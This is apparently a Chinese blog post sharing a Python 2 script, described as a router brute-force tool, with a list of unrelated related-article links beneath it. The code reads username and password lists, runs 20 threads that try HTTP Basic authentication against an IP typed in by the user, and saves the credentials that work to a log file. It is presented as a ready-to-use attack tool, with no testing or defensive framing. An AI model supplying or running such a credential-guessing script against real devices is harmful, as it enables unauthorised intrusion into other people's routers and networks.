python实现多线程暴力破解登陆路由器功能代码分享


Posted in Python onJanuary 04, 2015

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫.....

#coding:utf-8- 

import base64 

import urllib2 

import Queue 

import threading,re,sys 

queue = Queue.Queue() 

class Rout_thread(threading.Thread):
  def __init__(self,queue,passwd):
    threading.Thread.__init__(self) 

    self.queue=queue 

    self.passwordlist=passwd 

  def run(self): 

    self.user=queue.get() 

    for self.passwd in self.passwordlist: 

      request = urllib2.Request("http://"+target) 

      psw_base64 = "Basic " + base64.b64encode(self.user + ":" + self.passwd) 

      request.add_header('Authorization', psw_base64) 

      try: 

         

        response = urllib2.urlopen(request) 

        print "[+]Correct! Username: %s, password: %s" % (self.user,self.passwd) 

        fp3 = open('log.txt','a') 

        fp3.write(self.user+'||'+self.passwd+'\r\n') 

        fp3.close() 

      except urllib2.HTTPError: 

        print "[-]password:%s Error!" % (self.passwd)
 
if __name__ == '__main__': 

  print ''' 

    ####################################################### 

    #                                                     # 

    #                Routing brute force tool             # 

    #                                                     # 

    #                 by:well                             # 

    #                                                    # 

    ####################################################### 

''' 

  passwordlist = [] 

  line = 20 

  threads = [] 

  global target 

  target = raw_input("input ip:") 

  fp =open("user.txt") 

  fp2=open("passwd.txt") 

  for user in fp.readlines(): 

    queue.put(user.split('\n')[0]) 

  for passwd in fp2.readlines(): 

    passwordlist.append(passwd.split('\n')[0]) 

    #print passwordlist 

       

  fp.close() 

  fp2.close() 

  for i in range(line): 

    a = Rout_thread(queue,passwordlist) 

    a.start() 

    threads.append(a) 

  for j in threads: 

    j.join()
Python 相关文章推荐
python 输出一个两行字符的变量
Feb 05 Python
在Windows8上的搭建Python和Django环境
Jul 03 Python
Python中设置变量访问权限的方法
Apr 27 Python
python删除列表中重复记录的方法
Apr 28 Python
在Python的Django框架中编写错误提示页面
Jul 22 Python
Python实现文件内容批量追加的方法示例
Aug 29 Python
python安装twisted的问题解析
Aug 21 Python
python实现决策树分类(2)
Aug 30 Python
Python wxPython库Core组件BoxSizer用法示例
Sep 03 Python
Python实现鼠标自动在屏幕上随机移动功能
Mar 14 Python
Python基于BeautifulSoup爬取京东商品信息
Jun 01 Python
Python必备技巧之字符数据操作详解
Mar 23 Python
Python中对列表排序实例
Jan 04 #Python
Python实现爬取知乎神回复简单爬虫代码分享
Jan 04 #Python
Python连接mssql数据库编码问题解决方法
Jan 01 #Python
Python中optparse模块使用浅析
Jan 01 #Python
Python中urllib2模块的8个使用细节分享
Jan 01 #Python
Python读取ini文件、操作mysql、发送邮件实例
Jan 01 #Python
Python实现检测服务器是否可以ping通的2种方法
Jan 01 #Python
You might like
德生PL330的评价与改造
2021/03/02 无线电
通过PHP修改Linux或Unix口令的方法分享
2012/01/30 PHP
PHP获取对象属性的三种方法实例分析
2019/01/03 PHP
javascript下有关dom以及xml节点访问兼容问题
2007/11/26 Javascript
Javascript操作select方法大全[新增、修改、删除、选中、清空、判断存在等]
2008/09/26 Javascript
jQuery Ajax异步处理Json数据详解
2013/11/05 Javascript
Jquery ajax执行顺序 返回自定义错误信息(实例讲解)
2013/11/06 Javascript
js+canvas简单绘制圆圈的方法
2016/01/28 Javascript
AngularJS自动表单验证
2016/02/01 Javascript
BooStrap对导航条的改造实践小结
2016/09/21 Javascript
JQuery学习总结【一】
2016/12/01 Javascript
JavaScript正则表达式小结(test|match|search|replace|split|exec)
2016/12/08 Javascript
node.js实现回调的方法示例
2017/03/01 Javascript
vue2.0实现导航菜单切换效果
2017/05/08 Javascript
JQueryDOM之样式操作
2019/03/27 jQuery
详解微信小程序开发用户授权登陆
2019/04/24 Javascript
Vue 实现一个命令式弹窗组件功能
2019/09/25 Javascript
vue3 watch和watchEffect的使用以及有哪些区别
2021/01/26 Vue.js
[02:40]2014DOTA2 国际邀请赛中国区预选赛 四大豪门抵达华西村
2014/05/23 DOTA
Python使用scrapy采集数据过程中放回下载过大页面的方法
2015/04/08 Python
详解python 拆包可迭代数据如tuple, list
2017/12/29 Python
appium+python adb常用命令分享
2020/03/06 Python
在Keras中实现保存和加载权重及模型结构
2020/06/15 Python
python中rc1什么意思
2020/06/19 Python
虚拟机下载python是否需要联网
2020/07/27 Python
Pycharm及python安装详细教程(图解)
2020/07/31 Python
详解pandas apply 并行处理的几种方法
2021/02/24 Python
阿玛尼化妆品美国官网:Giorgio Armani Beauty
2017/02/02 全球购物
销售经理工作职责
2014/02/03 职场文书
整顿机关作风心得体会
2014/09/10 职场文书
党员反对四风问题思想汇报
2014/09/12 职场文书
党员四风自我剖析材料
2014/10/07 职场文书
致我们终将逝去的青春观后感
2015/06/10 职场文书
婚宴来宾致辞
2015/07/28 职场文书
《我要的是葫芦》教学反思
2016/02/18 职场文书
redis实现共同好友的思路详解
2021/05/26 Redis